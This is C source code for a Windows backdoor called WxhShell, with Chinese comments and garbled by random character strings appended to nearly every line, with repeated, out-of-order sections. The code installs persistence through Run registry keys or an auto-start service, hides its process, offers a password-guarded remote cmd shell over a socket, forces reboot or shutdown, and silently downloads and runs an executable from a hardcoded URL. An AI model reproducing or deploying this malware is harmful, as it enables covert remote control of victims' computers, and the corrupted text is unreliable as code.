    } _qSVYVJ u  
  // 关机 /9 |BAQ:v;  
  case 'd': {  75T+6 u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pT<I!,~  
    if(Boot(SHUTDOWN)) ?s9f}>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); En YEAjX  
    else { 6'1Lu1w  
    closesocket(wsh); HurF4IsHk  
    ExitThread(0); 1,pPLc(  
    } cbv%1DT3  
    break; Ak,T{;rD  
    } G8Zl[8  
  // 获取shell #i-b|J+%  
  case 's': { 'TDp%s*;  
    CmdShell(wsh); NrfAr}v'E  
    closesocket(wsh); IMHt#M`  
    ExitThread(0); {:`XhPS<B  
    break; k$ w#:Sx  
  } #}C6}};  
  // 退出 Q^Q6| n  
  case 'x': { C&RZdh,$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .-.b:gdO(  
    CloseIt(wsh); Md>9Daa~  
    break; G5!!^p~  
    } J?qikE&  
  // 离开 m/ngPeZ  
  case 'q': { x{$/|_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Iv*sd *  
    closesocket(wsh); *4[P$k$7  
    WSACleanup(); rVDOco+w  
    exit(1); QzV%m0  
    break; (kSb74*g  
        } NdM \RD_R  
  } co>IJzg  
  } #e&LyYx4  
;! #IRR  
  // 提示信息 q 7hoI]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G-Zn-I  
} HnY.=_G  
  } (%*~5%l\  
]N6UY  
  return; DfVSG1g  
} XPMvAZL  
fs8C ^Ik>~  
// shell模块句柄 '2m"ocaf  
int CmdShell(SOCKET sock) [.nkNda5)v  
{ HK`r9frn  
STARTUPINFO si; )T'~F  
ZeroMemory(&si,sizeof(si)); @g1T??h   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )wk9(|[o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d@{#F"o  
PROCESS_INFORMATION ProcessInfo; nC#SnyUO  
char cmdline[]="cmd"; b:x*Hjf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BJnysQ  
  return 0; S vW{1  
} vw/GAljflu  
, 4@C%  
// 自身启动模式 OQ4rJ#b  
int StartFromService(void) 1c:/c|shQ_  
{ /5Xt<7vm8  
typedef struct $%5vJiuk  
{ z#+Sf.  
  DWORD ExitStatus; &8hW~G>(m  
  DWORD PebBaseAddress; Hx ojxZwm  
  DWORD AffinityMask; ,UneS  
  DWORD BasePriority; 0B(Y{*QB  
  ULONG UniqueProcessId; .wkW<F7  
  ULONG InheritedFromUniqueProcessId; Gvqu v\  
}   PROCESS_BASIC_INFORMATION; W7.QK/@  
^6 \@$   
PROCNTQSIP NtQueryInformationProcess; >S:+&VN`M  
ccgV-'IG9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C59H| S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^P owL:  
7:wf!\@ I  
  HANDLE             hProcess; ! $fF3^8-  
  PROCESS_BASIC_INFORMATION pbi; )D ':bWP  
*m`F-J6U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zu/1:8x  
  if(NULL == hInst ) return 0; J%8hf%! ud  
(+;%zh-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BU=Ta$#BZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [k7 ;^A5/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &5 R-bYGW  
1f0maN  
  if (!NtQueryInformationProcess) return 0; ShMP_?]P  
&p.7SPQ8/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Klqte*!  
  if(!hProcess) return 0; VPOp#;"%  
Io<L! =>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^c:I]_Ww  
p\r V6+  
  CloseHandle(hProcess); Q=#!wWVP  
':|?M B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D~@lpcI  
if(hProcess==NULL) return 0; e)]DFP[ n  
TJkWL2r0c  
HMODULE hMod; da5fKK/s  
char procName[255]; :47"c3J  
unsigned long cbNeeded; pNc4o@-  
$"`e^J9!!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !9EbG  
\D}$foHg  
  CloseHandle(hProcess); $>=w<=r|;  
QHe:  
if(strstr(procName,"services")) return 1; // 以服务启动 c_syJ<  
lsB.>NlU  
  return 0; // 注册表启动 \-I)dMm[  
} bs_rw+  
<u2iXH5w  
// 主模块 K?,`gCN}v  
int StartWxhshell(LPSTR lpCmdLine) RJLhR_t7n  
{ #L xfE<^  
  SOCKET wsl; anFl:=  
BOOL val=TRUE; i|G /x  
  int port=0; [N1[khY`  
  struct sockaddr_in door; @1)C3(=A  
T%1Kh'92  
  if(wscfg.ws_autoins) Install(); $EPDa?$*  
8:}$L)[V  
port=atoi(lpCmdLine); Tg6nb7@P  
dsA::jR0P6  
if(port<=0) port=wscfg.ws_port; )LE#SGJP  
rOXh?r  
  WSADATA data; ~Ec@hz]js  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E0"DHjR  
a: [m;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D}EH9d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3G-f+HN^E  
  door.sin_family = AF_INET; j0IuuJ+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T!gq Z  
  door.sin_port = htons(port); U%_6'5s{^  
r;OE6}L>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d,%@*v]S  
closesocket(wsl); S[o R q  
return 1; X.<2]V7!  
} h*?/[XY  
/A/k13 J  
  if(listen(wsl,2) == INVALID_SOCKET) { p4I6oS`/.  
closesocket(wsl); [:C!g#o  
return 1; WJ(E3bb  
} 7(bE;(4  
  Wxhshell(wsl); Ue]GHJ2  
  WSACleanup(); 3?oj46gP  
K>fY9`Whm  
return 0; B=J/HiwV)  
[:\8Ug8  
} k84JDPu#  
E>6:59+  
// 以NT服务方式启动 h` $2/%?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BFyVq  
{ B~2\v%J  
DWORD   status = 0; *FEY"W+bY  
  DWORD   specificError = 0xfffffff; WgQ6EV`  
dLI`\e<r&[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;'J{ylRQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q!dNJQpb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (~FLG I  
  serviceStatus.dwWin32ExitCode     = 0; h *-j  
  serviceStatus.dwServiceSpecificExitCode = 0; ;qT7BUh(%  
  serviceStatus.dwCheckPoint       = 0; e'Th[ wJ  
  serviceStatus.dwWaitHint       = 0; /IN/SZx  
SRx `m,535  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gd 5J<K  
  if (hServiceStatusHandle==0) return; `[5QouPV  
_ s[v:c  
status = GetLastError(); +e%U6&l{  
  if (status!=NO_ERROR) L'Fy\K\  
{ *m[ow s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; enGjom  
    serviceStatus.dwCheckPoint       = 0; qSWnv`hL  
    serviceStatus.dwWaitHint       = 0; ;eRYgC  
    serviceStatus.dwWin32ExitCode     = status; V+kU^mI  
    serviceStatus.dwServiceSpecificExitCode = specificError; q={\|j$X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *rk!`n&  
    return; ~y(- j[  
  } |VL(#U  
;9R;D,Gk!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gqRwN p  
  serviceStatus.dwCheckPoint       = 0; Ysk,9MR(F  
  serviceStatus.dwWaitHint       = 0; R2af>R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BEzF'<Z  
} iZ3%'~K<3J  
6Q. _zk  
// 处理NT服务事件,比如:启动、停止 zU'\r~c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3S'juHT e  
{ ]jz%])SzH  
switch(fdwControl) ui:  
{ Z;{3RWV  
case SERVICE_CONTROL_STOP: 8@|rB3J  
  serviceStatus.dwWin32ExitCode = 0; *|RQ )  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x^| J-  
  serviceStatus.dwCheckPoint   = 0; -m:i~^ u  
  serviceStatus.dwWaitHint     = 0; :_q   
  { Oop;Y^gG}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;y7V-sf  
  } n#G I& U  
  return; \1[I(u  
case SERVICE_CONTROL_PAUSE: zOpl#%"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;u'mSJI'  
  break; ,HEx9*E/s  
case SERVICE_CONTROL_CONTINUE: #cBt@SEL'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AFWcTz6#d  
  break; Ok+zUA[Wu  
case SERVICE_CONTROL_INTERROGATE: e'oM% G[  
  break; d]OoJK9&&  
}; yWACI aj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .-;K$'YG  
} 4'W|'4'b  
L)'JkX J  
// 标准应用程序主函数 u, %mVd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HM])m>KeT  
{ pCz;km  
{R7>-Y[4)2  
// 获取操作系统版本 ,#1ke  
OsIsNt=GetOsVer(); O/wl";-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bh&,*Y6=  
"3{xa;c  
  // 从命令行安装 8u$Kr q  
  if(strpbrk(lpCmdLine,"iI")) Install(); :z%vNKy1  
N 5rY*S  
  // 下载执行文件 w~EXO;L2  
if(wscfg.ws_downexe) { I?v)>| |Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >wjWX{&?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;^ :9huN  
} :<=!v5 SK  
]<q{0.  
if(!OsIsNt) { />XfK,c-  
// 如果时win9x,隐藏进程并且设置为注册表启动 $EbxV"b+  
HideProc(); L`YnrDZK  
StartWxhshell(lpCmdLine); )#MKOsOct  
} d3T|N\(DL  
else j?1\E9&4-Q  
  if(StartFromService()) * eL%[B  
  // 以服务方式启动 PGMu6$  
  StartServiceCtrlDispatcher(DispatchTable); 7Nc@7_=  
else 6rL'hB!!]*  
  // 普通方式启动 2](R}  
  StartWxhshell(lpCmdLine); #6_?7 (X  
W*u Yb|0  
return 0; K`j#'`/KC  
} {]] nQ  
+J]3)8 y+  
EHcqj;@m  
p44d&9  
=========================================== %xyt4}-)m  
b,~4O~z  
hBLJKSv  
ZdlZ,vK^.  
E xc`>Y q  
V(=~p[  
" E%3WJ%A  
tKo ^A:M  
#include <stdio.h> C "<l}  
#include <string.h> I`t"Na2i  
#include <windows.h> ]3NH[&+  
#include <winsock2.h> PGP9-M  
#include <winsvc.h> e8a_)TU?  
#include <urlmon.h> W~POS'1  
@PZ&/F ^  
#pragma comment (lib, "Ws2_32.lib") ul?'kuYk  
#pragma comment (lib, "urlmon.lib") l-XiQ#-{  
uwyzxj  
#define MAX_USER   100 // 最大客户端连接数 <o3e0JCq  
#define BUF_SOCK   200 // sock buffer m%+W{N4Wb  
#define KEY_BUFF   255 // 输入 buffer Gz+Bk5#{  
.2C}8GGC'  
#define REBOOT     0   // 重启 (%oZgvM  
#define SHUTDOWN   1   // 关机 f:B+R  
` *&*jdq&i  
#define DEF_PORT   5000 // 监听端口 a,#f%#J\  
`D>PU@s$nT  
#define REG_LEN     16   // 注册表键长度 [j?n}D@L  
#define SVC_LEN     80   // NT服务名长度 ?#<Fxme  
KX"?3#U#Fm  
// 从dll定义API ;? '`XB!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); * Od_Cl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R^1sbmwk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V.XHjHT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rG:IS=  
)xiic3F  
// wxhshell配置信息 4+:Q"  
struct WSCFG { 2_x}wB0P  
  int ws_port;         // 监听端口 6m_Y%&   
  char ws_passstr[REG_LEN]; // 口令 ^ W eE%"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9b``l-rO  
  char ws_regname[REG_LEN]; // 注册表键名 O/e5LA  
  char ws_svcname[REG_LEN]; // 服务名 \tye:!a?;@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NN\% X3ri"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Q o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Y?rls`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fZ`b~ZBwIj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L}h?nWm8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X-|`|>3E  
R56:}<Y,  
}; =<YG0K  
:UoZ`O~  
// default Wxhshell configuration EFW'D=&h8  
struct WSCFG wscfg={DEF_PORT, !e?=I  
    "xuhuanlingzhe", i;s&;_0{  
    1, e4b`C>>  
    "Wxhshell", >2x[ub%$L  
    "Wxhshell", elG<\[  
            "WxhShell Service", b6RuYwHWV0  
    "Wrsky Windows CmdShell Service", E y1mlW  
    "Please Input Your Password: ", yd$_XW p?\  
  1, .}&bE1  
  "http://www.wrsky.com/wxhshell.exe", 6%sX<)n%]  
  "Wxhshell.exe" 7 <*sP%6bD  
    }; m=jxTZK  
{" woBOaA  
// 消息定义模块 gtHWd;1&f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fW~r%u .y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QFY1@2EC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  qa)X\0  
char *msg_ws_ext="\n\rExit."; w!,~#hbt6  
char *msg_ws_end="\n\rQuit."; dYrw&gn  
char *msg_ws_boot="\n\rReboot..."; eU&[^  
char *msg_ws_poff="\n\rShutdown..."; @;_xFL;{g  
char *msg_ws_down="\n\rSave to "; V|e9G,z~A  
J.W0F #?  
char *msg_ws_err="\n\rErr!"; &}_ $@  
char *msg_ws_ok="\n\rOK!"; u|&"l  
:*u .=^  
char ExeFile[MAX_PATH]; 8fRk8  
int nUser = 0; I(y:Td  
HANDLE handles[MAX_USER]; /Fy2ZYs,`8  
int OsIsNt; FBJw (.Jr  
~,3+]ts='\  
SERVICE_STATUS       serviceStatus; *`&4< >=n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P /|2s  
B*!{LjXV  
// 函数声明 OPOL-2<wiy  
int Install(void); >Vc;s !R  
int Uninstall(void); UfIH!6Q  
int DownloadFile(char *sURL, SOCKET wsh); FC[8kq>Hk  
int Boot(int flag); 04g=bJ  
void HideProc(void); *;@V5[^3I?  
int GetOsVer(void); k|Mj|pqA  
int Wxhshell(SOCKET wsl); =kFZ2/P2t(  
void TalkWithClient(void *cs); O(q1R#n-}+  
int CmdShell(SOCKET sock); D32~>J.F  
int StartFromService(void); +)YU/41W  
int StartWxhshell(LPSTR lpCmdLine); UP]X,H~stU  
a^/j&9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U?BuV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v3>jXf  
j0P+<@y  
// 数据结构和表定义 BN\Y N  
SERVICE_TABLE_ENTRY DispatchTable[] = ${fJ]  
{ ~Y;_vU  
{wscfg.ws_svcname, NTServiceMain}, xg*)o*?  
{NULL, NULL} p+6L qk<  
}; BO]}E:C9  
vu7F>{D  
// 自我安装 NABVU0}   
int Install(void) ~d5f]6#`  
{ `wrN$&  
  char svExeFile[MAX_PATH]; jiAKV0lX W  
  HKEY key; 6IRzm6d  
  strcpy(svExeFile,ExeFile); ?mM6[\DFoT  
R|tf}~u !x  
// 如果是win9x系统,修改注册表设为自启动 _}G1/`09#  
if(!OsIsNt) { >2kjd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oY;=$8y<q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .MUoNk!  
  RegCloseKey(key); ftr?@^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +2&+Gh.h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4<c #3]  
  RegCloseKey(key); bIs@CDB  
  return 0; 4\Nt"#U)g  
    } ^j-w^)@T  
  } w]-,X`  
} uIeD.I'@{5  
else { LA\)B"{J  
;Nfd  
// 如果是NT以上系统,安装为系统服务 @)hrj2Jw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H6fR6Kr4j  
if (schSCManager!=0) \7l% @  
{ OsSGVk #Qh  
  SC_HANDLE schService = CreateService ;`p!/9il  
  ( *d%U]Hby,  
  schSCManager, )'pc1I  
  wscfg.ws_svcname, XwerQwO=  
  wscfg.ws_svcdisp, 'OERW|BO  
  SERVICE_ALL_ACCESS, zLeId83>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tw)"#Y!T  
  SERVICE_AUTO_START, jjbw+  
  SERVICE_ERROR_NORMAL, <;T$?J9  
  svExeFile,  fa=OeuI  
  NULL, z'9Mg]&>  
  NULL, ;Xzay|  
  NULL, gJn_Z7MgJ  
  NULL, fBZ\,  
  NULL *CnrzrKtQ  
  ); 4t Z. T9d  
  if (schService!=0) q%^vx%aL\  
  { qrq9NPf  
  CloseServiceHandle(schService); Ku W$  
  CloseServiceHandle(schSCManager); vU|.Gw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1zz.`.R2U  
  strcat(svExeFile,wscfg.ws_svcname); ":o1g5?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K% Gbl#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ob|[/NN  
  RegCloseKey(key); .F*2]xj@"  
  return 0; e1k\:]6  
    } wn$:L9"YN  
  } [H3~b=  
  CloseServiceHandle(schSCManager); l imzDQ^  
} JMT?+/Qbu  
} gUrb&#\X  
rI[Lg0S  
return 1; 4cO||OsMU  
} vGk}r  
{mlJE>~%  
// 自我卸载 ;-G!jWt6Zi  
int Uninstall(void) M?UlC   
{ ^z[-pTY  
  HKEY key; ?Z<2zm%qV  
iZ`1Dzxgk  
if(!OsIsNt) { AlQ!Q)y<@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \E'Nk$V3  
  RegDeleteValue(key,wscfg.ws_regname); aE_)iE|  
  RegCloseKey(key);  MRB>(}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lRn6Zh  
  RegDeleteValue(key,wscfg.ws_regname); Xcq 9*!%o  
  RegCloseKey(key); !n`ogzOh  
  return 0; 6g ,U+~  
  } vWJhSpC[  
} V.IgEE]  
} !d1}IU-h  
else { {C%/>e2-%  
C { }s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n7vLw7  
if (schSCManager!=0) @"}dbW<DV  
{ z]k=sk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  *it(o  
  if (schService!=0) 's{-1aW  
  { }P$48o VY  
  if(DeleteService(schService)!=0) { JlsRP  
  CloseServiceHandle(schService); o} #nf$v(  
  CloseServiceHandle(schSCManager); blZiz2F  
  return 0; 5 TD"  
  } qYFol# =%  
  CloseServiceHandle(schService); 7"f$;CN?~  
  } B{ NKDkDH  
  CloseServiceHandle(schSCManager); D PnKr/  
} #R|M(Z">q  
} W%09.bF  
?lb1K'(  
return 1; US)wr  
} NDB]8C  
pBt/vSad  
// 从指定url下载文件 "b*.>QuZ  
int DownloadFile(char *sURL, SOCKET wsh) )_T[thf]  
{ qy@gW@IU  
  HRESULT hr; 1){1 HK  
char seps[]= "/"; vi0% jsI  
char *token; %^"Tz,f  
char *file; UD*#!H  
char myURL[MAX_PATH]; $B4}('&4FQ  
char myFILE[MAX_PATH]; -!MDYj+U  
Bh*~I_Ta>  
strcpy(myURL,sURL); mW 5L;>  
  token=strtok(myURL,seps); *|Re,cY  
  while(token!=NULL) t1B0M4x9  
  { 2 < &-  
    file=token; m7kDxs(KO  
  token=strtok(NULL,seps); 8N6a=[fv<  
  } )+ Wr- Yay  
ckt^D/c2  
GetCurrentDirectory(MAX_PATH,myFILE); C3 0b}2  
strcat(myFILE, "\\"); pP?J(0Q~  
strcat(myFILE, file); K4n1#]8i  
  send(wsh,myFILE,strlen(myFILE),0); HtEjM|zj  
send(wsh,"...",3,0); F4 Ft~:a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v !@/  
  if(hr==S_OK) HcHfwLin0  
return 0; ~<v.WP<:  
else ~A8lvuw3  
return 1; ;y6Jo  
I2j;9Qcz  
} *&UVr  
qvYYKu  
// 系统电源模块  e^&YQl  
int Boot(int flag) ADv a@P  
{ rxa"ji!)  
  HANDLE hToken; YhLtf(r  
  TOKEN_PRIVILEGES tkp; EemKYcE@Nr  
&O0+\A9tP  
  if(OsIsNt) { pJa FPO..|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @dCu]0oNI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Oku4EJFJ  
    tkp.PrivilegeCount = 1; {k?Y :  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .j}u'!LKul  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d*A>P  
if(flag==REBOOT) { U"m!f*a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;xB"D0~,1  
  return 0; yH#;k:O=  
} ]; ^OY\,  
else { a _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \|62E):i1  
  return 0; sWavxh8A  
} y\0^c5}  
  } <*(~x esPS  
  else { $d8A_CUU  
if(flag==REBOOT) { ljt1:@SN(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o=`9JKB~  
  return 0; ]NFDE-Jz]  
} 7abq3OK+`  
else { *?K` T^LS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X2@o"xU  
  return 0; (ZEVbAY?i  
} EL}v>sC  
} &PgdCijGq;  
0a'@J~v!  
return 1; vQ_B2#U:  
} ~ml\|  
*e>:K$r  
// win9x进程隐藏模块 ycE<7W  
void HideProc(void) n/|/Womr  
{ .ERO*Tj  
teB {GR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~IqT >  
  if ( hKernel != NULL ) H~G=0_S  
  { .86..1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4Dd9cG,lN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  C|lMXp\*  
    FreeLibrary(hKernel); -{7N]q)}  
  } 4xYo2X,B  
Bhs`Y/Ls-  
return; ]_pL79y  
} ^CE:?>a$  
cq=R  
// 获取操作系统版本 C=b5[, UCB  
int GetOsVer(void) mY AFruN  
{ W ,U'hk%  
  OSVERSIONINFO winfo; Z*QRdB%,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  y]+A7|  
  GetVersionEx(&winfo); 0jzA\$oD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tQ|I$5jNJ  
  return 1; wS^-o  
  else co@8w!W  
  return 0; Sh*P^i.]+  
} s-ou;S3s  
?yU#'`q  
// 客户端句柄模块 >mV""?r]  
int Wxhshell(SOCKET wsl) .=FJ5?:4i%  
{ <f*0 XJ#  
  SOCKET wsh; GGuLxc?(  
  struct sockaddr_in client; M@K[i*e  
  DWORD myID; Rta P+6'X  
i,HAXPi  
  while(nUser<MAX_USER) =e+go ]87x  
{ fI|1@e1  
  int nSize=sizeof(client); L!G3u/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hJ@nW5CI  
  if(wsh==INVALID_SOCKET) return 1; dWUu3  
G~]BC#nB_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b1OB'P8  
if(handles[nUser]==0) l*u@T|Fc$  
  closesocket(wsh); gkdjH8(2  
else vKt_z@{{L  
  nUser++; 40E[cGz$*  
  } h CiblM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pDLo`F}A  
rij[ZrJ  
  return 0; U&XoT-p$L  
} ^:j$p,0e*S  
xpk|?/6  
// 关闭 socket a? kQ2<@g  
void CloseIt(SOCKET wsh) 7,zARWB!?  
{ 2$91+N*w9  
closesocket(wsh); y)}aySQK^  
nUser--; SMyg=B\x?7  
ExitThread(0); Z7^}G=*  
} SD&[K 8-i2  
S(6ZX>wv:  
// 客户端请求句柄 4=Ey\Px  
void TalkWithClient(void *cs) B (falmXJ  
{ {E/TC%  
:dzU]pk%0  
  SOCKET wsh=(SOCKET)cs; wO#+8js  
  char pwd[SVC_LEN]; =+ p+_}C  
  char cmd[KEY_BUFF]; c0 |p34  
char chr[1]; Jy_'(hG  
int i,j; iIFQRnpu;3  
ho1F8TG=  
  while (nUser < MAX_USER) { 4B`Rz1QBy  
(zBQ^97]  
if(wscfg.ws_passstr) { SOmn2 }   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F0Hbklr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G$ FBx  
  //ZeroMemory(pwd,KEY_BUFF); &}O!l'  
      i=0; 3U)8P6Fz  
  while(i<SVC_LEN) { PS6`o  
TpgBS4q  
  // 设置超时 AX+d?M  
  fd_set FdRead; ]aNnY?qW5  
  struct timeval TimeOut; sd53 _s V  
  FD_ZERO(&FdRead); YHYB.H)  
  FD_SET(wsh,&FdRead); EcIQ20Z_-  
  TimeOut.tv_sec=8; !Yu-a!  
  TimeOut.tv_usec=0; (, "E9.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lIg2iun[n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  #Uh 5tc  
$sZHApJV+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p8l#=]\ ;  
  pwd=chr[0]; RWFf-VA?  
  if(chr[0]==0xd || chr[0]==0xa) { e6lOmgHn5  
  pwd=0; 8F`  
  break; S:/RYT"  
  } Q/)ok$A&  
  i++; "Q{~Bj~  
    } PU5mz.&0'  
:-La $I>  
  // 如果是非法用户,关闭 socket &pjV4m|j<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CqK#O'\  
} #Hi]&)p_  
z\>X[yNpA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Aq%^>YAp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2F @)nh  
Ch"8cl;Fm  
while(1) { Wxau]uix  
e8mbEC(AK  
  ZeroMemory(cmd,KEY_BUFF); f\|?_k]  
Fx5d@WNa>  
      // 自动支持客户端 telnet标准   1xAFu+  
  j=0; p''"E$B/(  
  while(j<KEY_BUFF) { WwtE=od  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zK4 8vo  
  cmd[j]=chr[0]; u# WTh%/  
  if(chr[0]==0xa || chr[0]==0xd) { 'QojSq   
  cmd[j]=0; 6F.7Ws <  
  break; F(9 Y/UXH  
  } U q w}4C/0  
  j++; ikN!ut  
    } )nHE$gVM s  
!L. K)9I  
  // 下载文件 )9L pX  
  if(strstr(cmd,"http://")) { M#VC3h$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a,*p_:~i  
  if(DownloadFile(cmd,wsh)) Yz-JI=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uO@3vY',n  
  else .um&6Q=2<  
